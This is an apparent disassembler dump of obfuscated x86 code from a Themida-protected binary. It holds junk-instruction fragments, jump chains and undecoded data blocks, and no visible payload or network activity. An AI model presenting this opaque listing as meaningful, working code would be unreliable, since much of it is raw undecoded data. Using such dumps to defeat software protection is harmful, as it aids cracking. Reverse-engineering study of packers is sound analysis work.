		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55FE9F
; ---------------------------------------------------------------------------
		dd 0BB53D801h, 29EC6320h, 2A40C381h, 0EC8328EBh, 24348904h
		dd 938DE9h, 242C3300h, 33242C31h, 248B242Ch, 0F3DE924h
		dd 34FF0000h, 28E95B24h, 81FFFF87h, 223EF2C6h, 0EE815D3Eh
		dd 18B49E44h, 348BF789h, 4C48324h, 0FFFFEF81h, 0E7C1FFFFh
		dd 7CD0E908h, 0C181FFFFh, 271C16DCh, 58CAC181h,	51574CCCh
		dd 0A0A34B9h, 3E9C14Eh,	0C181D9F7h, 43CD5ABAh, 5759CF89h
		dd 0FFD5A6E9h, 0FFC301FFh, 0E9582434h, 4A45h
; ---------------------------------------------------------------------------


loc_565654:				; CODE XREF: Themida_:0056B319j
		xor	ebp, ecx
		xor	ecx, ebp
		not	ebp
		xchg	ebp, ecx
		dec	ecx
		xor	ecx, 0AC88CA0Fh
		jmp	loc_55FE04
; ---------------------------------------------------------------------------


loc_565668:				; CODE XREF: Themida_:00561A2Bj
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_55E420
; ---------------------------------------------------------------------------


loc_56567B:				; CODE XREF: Themida_:0055BAA9j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 43D478FAh
		mov	ebx, ecx
		jmp	loc_55C7D9
; ---------------------------------------------------------------------------
		db 0BDh
		dd 13691EBAh, 4246C29h,	5EBBE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56569A:				; CODE XREF: Themida_:005706C2j
		push	bx
		mov	bh, 0B9h
		jmp	loc_56E7C1
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 20A6E9h, 9EE95D00h,	89FFFF5Eh, 0A7B9240Ch
		dd 0BB169C25h, 24552D6Bh, 0F759CB01h, 2E3C1DBh,	9996E9h
		dd 4C48300h, 4EC81h, 14890000h,	6130E924h, 0C2810000h
		dd 4, 4EA81h, 0CFE90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656F3:				; CODE XREF: Themida_:0056ABB7j
		add	ebx, esi
		sub	ebx, 69B96BB9h
		pop	esi
		xor	ebx, 88F1E11h
		or	ebx, 24CA2357h
		xor	ebx, 0EF429C4Fh
		jmp	loc_56866B
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	8924248Bh, 0EC832414h, 24048904h
		dd 21FFE9h, 87BD5500h, 0C1163A2Dh, 0E58106EDh, 449C3CC4h
		dd 2752E581h, 0DDF7786Dh, 0FFEB17E9h, 4C483FFh,	34FFF730h
		dd 0C4815A24h, 4, 45E8E9h, 0C7E95F00h, 50FFFFECh, 405E089h
		dd 0E9000000h, 3F36h, 0E3D7E95Ah, 9BDFFFFh, 16C737Dh, 0C3815DEBh
		dd 747868E9h, 28FBE56h,	81463D98h, 0C85A95F6h, 5EF32973h
		dd 815BDF01h, 0A63EE8EFh, 0D298E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657A2:				; CODE XREF: Themida_:0056D556j
		add	ebx, edi
		pop	edi
		sub	ebx, edi
		sub	ebx, 705470Ch
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C027
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0E6BFE924h, 0F74AFFFFh, 1016E9D2h, 0E6890000h
		dd 4C681h, 0C6830000h, 24348702h, 48F665Ch, 2C8B6624h
		dd 7584E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5657EA:				; CODE XREF: Themida_:0056B5C6j
		sub	al, 7Dh
		add	al, 0EDh
		sub	al, bl
		sub	al, 0EDh
		add	al, 7Dh
		push	dx
		mov	dl, 0D4h
		sub	al, 29h
		sub	al, dl
		add	al, 29h
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_564304
; ---------------------------------------------------------------------------
a34LHeq		db '34$‹$$heq',0
		dd 241C8900h, 0D42492BBh, 29C28118h, 81300E73h,	945F60EAh
		dd 0E9DA2927h, 6416h, 1203C181h, 0C129070Ch, 1203E981h
		dd 48B070Ch, 4C48124h, 8B000000h, 0E4682414h, 8900001Fh
		dd 0E6892434h, 4C681h, 0C6830000h, 24348704h, 3A5F35Ch
		dd 87683862h, 89000079h, 0BA522404h, 35474E29h,	5D6B850h
		dd 0DBE90BA4h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56587F:				; CODE XREF: Themida_:00564DA0j
		not	ecx
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 4
		not	ecx
		not	ecx
		shr	ecx, 8
		sub	ecx, 0A25E747Fh
		jmp	loc_55E189
; ---------------------------------------------------------------------------


loc_56589C:				; CODE XREF: Themida_:0056DBDDj
		pop	edx
		pop	edx
		xor	edx, 29AC0F22h
		pop	eax
		jmp	loc_56B538
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0B0B2448Fh, 15FFA01h, 0EB815AD3h, 56C65502h,	9FE9505Eh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5658C3:				; CODE XREF: Themida_:00568F86j
		add	esp, 4
		push	eax
		mov	eax, 5A0608EEh
		jmp	loc_56DC36
; ---------------------------------------------------------------------------
		dd 240C8B66h, 57F0E951h, 1C310000h, 6A91E924h, 0D789FFFFh
		dd 81D7F75Ah, 83400CC7h, 0E9FD013Fh, 8AB0h
; ---------------------------------------------------------------------------


loc_5658F8:				; CODE XREF: Themida_:00568BA7j
		shr	dl, 1
		xor	dl, 1Eh
		jmp	loc_561D7A
; ---------------------------------------------------------------------------


loc_565902:				; CODE XREF: Themida_:00562879j
		mov	ebx, [esp]
		push	esi
		jmp	loc_56FCF3
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 24048704h, 0FF24248Bh, 0FE92434h
		dd 8BFFFFB0h, 0C483240Ch, 5E0C104h, 2D1B68h, 242C8900h
		dd 0E904EC83h, 268h
; ---------------------------------------------------------------------------


loc_56593C:				; CODE XREF: Themida_:0056E559j
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_566EA1
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 8950D9E9h, 0C5E7E9E0h, 0F224FFFFh, 104A624h,	0FF60A6E9h
		dd 0C3815DFFh, 6D27306Ch, 2DB4B850h, 1CE923CEh,	66FFFFD2h
		dd 6613622Dh, 0C005665Eh, 172D665Ah, 0C12D6676h, 546E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565986:				; CODE XREF: Themida_:0056C786j
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_55D325
; ---------------------------------------------------------------------------
		dd 0FB7AE953h, 0EC81FFFFh, 4, 51242489h, 4B9h, 24448100h
		dd 475C3504h, 244C0154h, 246C8104h, 475C3504h, 0ABDAE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659BE:				; CODE XREF: Themida_:0055E293j
		add	esp, 4
		jmp	loc_56D80E
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0D2h
		dd 89BF5C69h, 0E2A1E9FAh, 2BDFFFFh, 89000000h, 84EFE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659E2:				; CODE XREF: Themida_:0056C31Fj
		pop	ebp
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56FD23
; ---------------------------------------------------------------------------


loc_5659F0:				; CODE XREF: Themida_:00565C95j
		mov	[esp], ebx
		jmp	loc_56498F
; ---------------------------------------------------------------------------
		dd 2424895Ch, 4240483h,	0E92434FFh, 0CD7h
; ---------------------------------------------------------------------------


loc_565A08:				; CODE XREF: Themida_:00563FFBj
		push	edi
		push	esi
		mov	esi, 0F00144h
		mov	edi, esi
		pop	esi
		xor	edx, edi
		jmp	loc_56066D
; ---------------------------------------------------------------------------


loc_565A19:				; CODE XREF: Themida_:005622CAj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	787Ch
		mov	[esp], ecx
		jmp	loc_561D98
; ---------------------------------------------------------------------------


loc_565A2D:				; CODE XREF: Themida_:0056F97Ej
		mov	cl, dh
		pop	edx
		add	al, cl
		pop	ecx
		jmp	loc_565A9D
; ---------------------------------------------------------------------------


loc_565A38:				; CODE XREF: Themida_:00566D64j
		pop	ebx
		add	edx, 1D8B1DF9h
		add	edx, edi
		sub	edx, 1D8B1DF9h
		push	ecx
		mov	ecx, 1C7B6B10h
		sub	edx, ecx
		jmp	loc_563895
; ---------------------------------------------------------------------------


loc_565A54:				; CODE XREF: Themida_:0056BDC8j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56A161
; ---------------------------------------------------------------------------
aJJS		db '»¦!j$é>>',0
		db 0
; ---------------------------------------------------------------------------


loc_565A67:				; CODE XREF: Themida_:0056E798j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56E190
; ---------------------------------------------------------------------------
		dd 24348B5Fh, 4C481h, 0C2010000h, 0FFA5FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565A9D:				; CODE XREF: Themida_:00565A33j
		xor	al, 0F0h
		and	bl, al
		pop	eax
		jmp	loc_566907
; ---------------------------------------------------------------------------
		db 81h
		dd 40B751EFh, 5FFA318Ah, 3435E9h, 4EC8100h, 89000000h
		dd 0B8502424h, 4, 4244401h, 6080E958h, 0AF0FFFFFh, 0E99C51C8h
		dd 0FFFFC4FBh, 582434FFh, 81E38953h, 4C3h, 50626800h, 0C890000h
		dd 24856824h, 3C890000h, 46D6E924h, 0C6810000h,	4, 8704C683h
		dd 0D15C2434h, 0FFC181E1h, 0D1FFFFFFh, 0EC8349E1h, 241C8904h
		dd 40C28ABBh, 5BD90149h, 2644E9h
		db 0
; ---------------------------------------------------------------------------


loc_565B25:				; CODE XREF: Themida_:0056249Fj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 18330214h
		push	3D65h
		mov	[esp], ebp
		push	ebx
		push	ebp
		mov	ebp, 16BB0BE3h
		jmp	loc_5699EB
; ---------------------------------------------------------------------------
aYsiz		db 'Yé›Z',0
		dd 0A1E28100h, 8147AE27h, 2800FDEAh, 5AD70107h,	8B243C87h
		dd 89522424h, 0EA84E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B6A:				; CODE XREF: Themida_:00566F6Bj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_5672D0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	0CEE99C24h, 81FFFF59h, 3D0869C2h
		dd 5AD6094Ah, 6E33EE81h, 35E90CBBh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B9B:				; CODE XREF: Themida_:0056BFF6j
		xor	eax, ecx
		push	eax
		push	ebp
		jmp	loc_566E51
; ---------------------------------------------------------------------------
aI4Sax		db '‰4$éaX',0
		align 4
		dd 0E94DDDF7h, 0FFFF73F0h, 99E9815Dh, 0C158511Eh, 0F18103E1h
		dd 7ED5B2AEh, 3FE9CE29h, 89000007h, 0E95059CBh,	0BAFh
		dd 0F0354058h, 89DFFEF7h, 0FB0158C7h, 51FBE9h, 89EA8100h
		dd 1402142h, 0BE565AD1h, 331F0908h, 0D3F7DE87h,	271AE9h
		db 0
; ---------------------------------------------------------------------------


loc_565BFD:				; CODE XREF: Themida_:0056D2FEj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55FD8F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 83241C8Bh, 0F18604C4h, 9E9CEFEh, 2C00001Dh, 4AABE9A2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565C22:				; CODE XREF: Themida_:005681A2j
		mov	eax, [esp]
		jmp	loc_55D629
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4F51B850h, 67E943B6h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C3B:				; CODE XREF: Themida_:00564003j
		xchg	edi, [esp]
		pop	esp
		add	edi, 4
		jmp	loc_55E6B3
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 5E37677Dh, 7FE9DE29h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C57:				; CODE XREF: Themida_:0055BD5Bj
		mov	bh, 0A1h
		jmp	loc_55FECB
; ---------------------------------------------------------------------------


loc_565C5E:				; CODE XREF: Themida_:00570622j
		jmp	loc_570536
; ---------------------------------------------------------------------------
		db 83h
		dd 0D80104C4h, 603D68h,	240C8900h, 1856E0B9h, 3FC98154h
		dd 0E95B593Eh, 964Ch
; ---------------------------------------------------------------------------


loc_565C80:				; CODE XREF: Themida_:0055D11Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56D904
; ---------------------------------------------------------------------------


loc_565C92:				; CODE XREF: Themida_:0056BFA2j
		sub	esp, 4
		jmp	loc_5659F0
; ---------------------------------------------------------------------------


loc_565C9A:				; CODE XREF: Themida_:0056B618j
		push	55B2h
		mov	[esp], ecx
		mov	ecx, 3DB853ACh
		push	eax
		mov	eax, 3AE1D2Ah
		add	dword ptr [esp+8], 1FA97819h
		add	[esp+8], eax
		sub	dword ptr [esp+8], 1FA97819h
		pop	eax
		add	dword ptr [esp+4], 5F0D19CCh
		jmp	loc_56A37A
; ---------------------------------------------------------------------------
		db 80h
		dd 0D728D0C2h, 28592C5Ah, 4CB353F8h, 0C0D6EB80h, 0DBF603EBh
		dd 99EB80h, 1AE95BD8h, 55FFFFC1h, 4BDh,	966DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565CFA:				; CODE XREF: Themida_:0056E1FDj
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_55DBA7
; ---------------------------------------------------------------------------
		db 66h,	52h, 0B2h
		dd 66D5089Ch, 0B753665Ah, 66FD0001h, 73D1E95Bh,	8143FFFFh
		dd 4512AAE3h, 62C38103h, 1FDFAFFh, 808FE9DFh, 0C5810000h
		dd 71177865h, 0C0ECC581h, 0E92910F1h, 5D2434FFh, 4C481h
		dd 0B8500000h, 416EC2h,	0C103E8C1h, 354806E8h, 46720599h
		dd 0FFBCFAE9h, 8FBA52FFh, 0C179173Ah, 0F28106EAh, 37B46FFFh
		dd 0FF5EE1E9h, 79E955FFh, 81FFFFEEh, 4C6h, 4EE8300h, 31243433h
		dd 1E92434h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565DAB:				; CODE XREF: Themida_:005622E4j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		jmp	loc_5660BA
; ---------------------------------------------------------------------------


loc_565DC4:				; CODE XREF: Themida_:0057018Cj
		push	ebx
		jmp	loc_55DBEF
; ---------------------------------------------------------------------------


loc_565DCA:				; CODE XREF: Themida_:005641C3j
		push	esp
		jmp	loc_55B874
; ---------------------------------------------------------------------------


loc_565DD0:				; CODE XREF: Themida_:00568B33j
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		pop	edx
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56885A
; ---------------------------------------------------------------------------
		dd 17EE68h, 8598E900h, 34FF0000h, 0E9515D24h, 7CB7h
; ---------------------------------------------------------------------------


loc_565E04:				; CODE XREF: Themida_:0056BDACj
		shr	ebx, 1
		push	esi
		mov	esi, 15BC6FE0h
		shr	esi, 5
		jmp	loc_5703ED
; ---------------------------------------------------------------------------
		dd 48B665Ch, 65426824h,	2C890000h, 4EC8124h, 89000000h
		dd 4812424h, 424h, 0E9565D00h, 419Eh
; ---------------------------------------------------------------------------


loc_565E38:				; CODE XREF: Themida_:00566B58j
		add	dword ptr [esp+8], 5B013340h
		pop	ebx
		jmp	loc_56067F
; ---------------------------------------------------------------------------
		dw 3433h
		dd 6799E924h, 559FFFFh,	4AFC71DFh, 0DE132605h, 56D02916h
		dd 0DE1326BEh, 8BF02916h, 0C4812434h, 4, 3567B951h, 0D1F76C5Eh
		dd 0BB47F181h, 0C829D95Dh, 2434FF59h, 4C4835Ah,	0E9240C8Bh
		dd 6198h, 582434FFh, 4D4868h, 24048900h, 24048B54h, 4C481h
		dd 0BF570000h, 4, 835FF801h, 0C8904ECh,	0C7BA5224h, 815CB605h
		dd 74522BCAh, 0F7DAF772h, 42EA81DAh, 0E973D336h, 6ACAh
		dd 0E9D82966h, 6EEFh
; ---------------------------------------------------------------------------


loc_565ED4:				; CODE XREF: Themida_:0055ED32j
		pop	ebx
		mov	eax, [esp]
		jmp	loc_56812B
; ---------------------------------------------------------------------------
		db 68h,	0DBh, 73h
		dd 3C890000h, 0D3D4E924h, 0E589FFFFh, 290FBA52h, 0E94A1463h
		dd 0FFFF8C85h, 4C181h, 0E9810000h, 4, 0FFB80FE9h, 505751FFh
		dd 8F5B41B8h, 0F2C0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F16:				; CODE XREF: Themida_:0056110Dj
		push	ax
		mov	ah, 0C9h
		xor	bh, ah
		jmp	loc_55D2AD
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241C89h, 79C0h, 60D1E9h, 24248900h, 4240483h, 15ABE9h
		dd 243C3100h, 5C243C33h, 148BD330h, 4C48124h, 52000000h
		dd 0F607B551h, 1D8CE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565F5A:				; CODE XREF: Themida_:0055D582j
		pop	edi
		jmp	loc_563EB9
; ---------------------------------------------------------------------------
		dd 0C587E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F66:				; CODE XREF: Themida_:00569A16j
		add	esp, 4
		push	121Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		jmp	loc_56A135
; ---------------------------------------------------------------------------
aZssvn		db 'ZSéVn',0
		align 2


loc_565F8E:				; CODE XREF: Themida_:0055D08Ej
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55FBCC
; ---------------------------------------------------------------------------
		db 87h
		dd 99E9240Ch, 81FFFF9Dh, 4ECh, 24148900h, 952272BAh, 5AD30973h
		dd 60B2BE56h, 0BD5501FDh, 0FFFFFFFFh, 22DCE9h, 0C1835B00h
		dd 240C8704h, 0DF3DE95Ch, 7EB2FFFFh, 0CE9D100h,	5FFFFFA5h
		dd 0DAE9EE29h, 8900009Bh, 242C8BEEh, 79CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_565FE9:				; CODE XREF: Themida_:0056812Ej
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_56E777
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0C8B2434h, 0E0895024h, 405h, 40500h, 4870000h
		dd 3685C24h, 8900004Dh,	5D54242Ch, 4EC81h, 34890000h, 0B8BD5524h
		dd 0E978E900h, 0FFFFD33Fh, 0C181E189h, 4, 8704C183h, 515C240Ch
		dd 0AF1827B9h, 3CBF5727h, 47688E53h, 46FC781h, 0E78125F0h
		dd 66087FB1h, 0C2DDC781h, 0CCE939EBh, 5EFFFF81h, 0FFD2BBE9h
		dd 405FFh, 0FF500000h, 0E9042474h, 673Ah
; ---------------------------------------------------------------------------


loc_56607C:				; CODE XREF: Themida_:00567CCAj
		pop	eax
		add	ebx, edi
		push	edi
		mov	edi, 499C0D42h
		jmp	loc_55DCD7
; ---------------------------------------------------------------------------


loc_56608A:				; CODE XREF: Themida_:0056E2F4j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56A25C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 635BBF57h, 0C1470288h, 0F78105E7h, 11A36D31h, 0E95FF801h
		dd 0FFFF72A7h, 2275E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5660BA:				; CODE XREF: Themida_:00565DBFj
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_55C52F
; ---------------------------------------------------------------------------
		db 1
		dd 7DE95DEEh, 5CFFFFDCh, 0E9242C89h, 6B95h
; ---------------------------------------------------------------------------


loc_5660DC:				; CODE XREF: Themida_:0056BBD3j
		push	38F92476h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	edx, 67A03D38h
		jmp	loc_56047B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 70E92424h, 89FFFF60h, 0D3BB241Ch, 814B7F7Dh,	9251B5CBh
		dd 0F3EB8142h, 294BFF7Dh, 0FF565BDEh, 5E042474h, 0E924048Fh
		dd 1CDBh, 0B1BB535Fh, 8734012Dh, 87D2F7D3h, 0BA5256D3h
		dd 0CBFED24Dh, 6AE9D689h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56613B:				; CODE XREF: Themida_:00560705j
		push	7361h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_560B67
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 5224048Bh, 8CE9E289h, 66FFFFA4h, 68240C8Bh
		dd 7063h, 0E9243C89h, 41A2h
; ---------------------------------------------------------------------------


loc_566178:				; CODE XREF: Themida_:005611CAj
		mov	ebx, [esp]
		push	0FD3h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55E02A
; ---------------------------------------------------------------------------
		dw 2C5Bh
		dd 0EE2BE952h, 0E7D1FFFFh, 0D7F7DFF7h, 8EFC147h, 6147CF81h
		dd 0C78156D4h, 16164D71h, 34FFEF31h, 0C4835D24h, 8BF92104h
		dd 8950243Ch, 78BEE9E0h, 34FFFFFFh, 0E9505F24h,	0FFFFC5ADh
		dd 24048B66h, 226A68h, 243C8900h, 0BD55E789h, 4, 0FF9E86E9h
		dd 58C731FFh, 0FF92C5E9h, 0EE815EFFh, 7CC70D24h, 144EE81h
		dd 0C68177A8h, 335D36E2h, 0EE81CE29h, 335D36E2h, 2C73E9h
		dd 0C4835F00h, 8E95204h, 81FFFF67h, 2C074CC1h, 0AC47E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56622A:				; CODE XREF: Themida_:005699CCj
		mov	ebx, 5ACEDCD8h
		sub	ecx, 4E611E47h
		add	ecx, 42EE592Ah
		add	ecx, ebx
		sub	ecx, 42EE592Ah
		add	ecx, 4E611E47h
		jmp	loc_56A912
; ---------------------------------------------------------------------------


loc_56624E:				; CODE XREF: Themida_:00562887j
		shr	ebx, 4
		add	ebx, 2B1DAF5Fh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55ED4B
; ---------------------------------------------------------------------------
		db 8Fh
		dd 8F5C2404h, 0E95C2404h, 0FFFF52E9h, 8904EC83h, 9BB02404h
		dd 8EE94224h, 5BFFFFB3h, 3386EA81h, 0C229654Bh,	3386C281h
		dd 0EC83654Bh, 240C8904h, 7257C8B9h, 0E206E97Bh, 8B66FFFFh
		dd 27E92404h, 6800007Fh, 121B1FCBh, 970BE9h, 44E95C00h
		dd 5B00001Ah, 1C8BDA89h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 858BE9h, 5EBC100h, 0A9F1F381h,	834B169Bh
		dd 0C381FFC3h, 0EF39BC16h, 2ECDBE56h, 0F129299Fh, 43C1815Eh
		dd 1473D64h, 9D2CE9D9h,	48B0000h, 4C48124h, 30000000h
		dd 49D3E9F8h, 1590000h,	2EC681FEh, 5F60476Dh, 5C243487h
		dd 24048B66h, 6DC068h, 24348900h, 24348B54h, 5204C483h
		dd 0E40DE957h, 0C181FFFFh, 4, 2474FF51h, 240C8B04h, 4C481h
		dd 48F0000h, 24248B24h,	3520DF05h, 2DD60507h, 0F8296E6Ch
		dd 6C2DD62Dh, 598E96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566362:				; CODE XREF: Themida_:0056296Cj
		and	edi, ebx
		pop	ebx
		jmp	loc_55D27E
; ---------------------------------------------------------------------------


loc_56636A:				; CODE XREF: Themida_:00568570j
		mov	ecx, esp
		push	7A30h
		mov	[esp], ebp
		mov	ebp, 527A7E53h
		jmp	loc_563312
; ---------------------------------------------------------------------------
		dw 2B3h
		dd 52C9C380h, 0F330B7B6h, 2EC1685Ah, 14890000h,	653FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566396:				; CODE XREF: Themida_:00565434j
		mov	esi, 4
		jmp	loc_56D833
; ---------------------------------------------------------------------------
		dd 4F596856h, 82E9477Eh, 68FFFF6Dh, 1F2429A1h, 9A7BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5663B6:				; CODE XREF: Themida_:005602DBj
		add	edi, 32EC16CDh
		jmp	loc_56F097
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 0A9D9E900h, 0D7F6FFFFh, 4EC81h, 14890000h, 80FAB624h
		dd 0EC83ACEEh, 241C8904h, 809FB151h, 0C1FE68E9h, 0E903E9C0h
		dd 0FFFFBAE4h, 8DE8E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5663FA:				; CODE XREF: Themida_:0056D042j
		push	edx
		mov	edx, 21710B5h
		add	ecx, 6120270h
		jmp	loc_560192
; ---------------------------------------------------------------------------


loc_56640B:				; CODE XREF: Themida_:0055BF29j
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 22865526h
		jmp	loc_567176
; ---------------------------------------------------------------------------


loc_566428:				; CODE XREF: Themida_:0056310Dj
		push	esp
		push	dword ptr [esp]
		jmp	loc_563331
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 7Fh
		dd 4E23E21Ch, 4F3AF681h, 0EE81666Eh, 0CA34DC6Dh, 0B9E9F109h
		dd 81FFFFC7h, 4C7h, 4C78300h, 4828E9h, 21E98100h, 5A09812Dh
		dd 4C1815Dh, 87000000h,	8F5C240Ch, 248B2404h, 0C83B6624h
		dd 50DBE99Ch, 0B450FFFFh, 34E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566482:				; CODE XREF: Themida_:0056D03Cj
		mov	esp, [esp]
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		push	4
		pop	edi
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_56C810
; ---------------------------------------------------------------------------
		dd 46A0BB53h, 0DD317DEEh, 59F5E95Bh, 0CC800000h, 89F480FAh
		dd 866BE9h, 2434FF00h, 27B4E9h,	0D4EA8000h, 5CD0E9h, 97B95100h
		dd 816A5E47h, 2101E5F1h, 80DBE979h, 7C01FFFFh, 595F0424h
		dd 8904EC83h, 5CBA2414h, 5630182Ah, 0FE3494BEh,	4DE68119h
		dd 0E9757B03h, 3F0Fh
; ---------------------------------------------------------------------------


loc_566504:				; CODE XREF: Themida_:0055C524j
		push	ebp
		mov	ebp, 0DE40245Ah
		sub	edi, ebp
		jmp	loc_55E64A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSwx		db '$éWx',0
		align 2
		dw 8205h
		dd 356ED80Dh, 55C55C73h, 733A5625h, 13A3050Fh, 16E9563Eh
		dd 68FFFFF1h, 211Bh, 54241C89h,	4C3815Bh, 83000000h, 1C8704EBh
		dd 24248B24h, 0FF6F1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566551:				; CODE XREF: Themida_:0056068Ej
		add	esp, 4
		jmp	loc_56958B
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFB35Dh, 45B268h, 243C8900h, 2A0282BFh
		dd 69C7810Ah, 0E9727003h, 97C8h, 1CABE953h, 0EE010000h
		dd 2434875Dh, 0E924248Bh, 0FFFFE52Fh, 7553E957h, 0A3B90000h
		dd 5513AA05h, 18313ABDh, 19CD817Ah, 81265B11h, 0BE431EEDh
		dd 9362E967h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665B2:				; CODE XREF: Themida_:0056F5CAj
		pop	esp
		push	5050h
		mov	[esp], ebx
		push	eax
		jmp	loc_56C80A
; ---------------------------------------------------------------------------


loc_5665C1:				; CODE XREF: Themida_:0056A38Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_560CBD
; ---------------------------------------------------------------------------


loc_5665D0:				; CODE XREF: Themida_:0056EE29j
		push	edx
		jmp	loc_56A04F
; ---------------------------------------------------------------------------
		dw 487h
		dd 513AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665DE:				; CODE XREF: Themida_:00563665j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_563BF7
; ---------------------------------------------------------------------------
		dd 0FDEF8147h, 89407001h, 31B3E9FBh, 248B0000h,	2434FF24h
		dd 0FF2434FFh, 50592434h, 4055854h, 5000000h, 4, 5C240487h
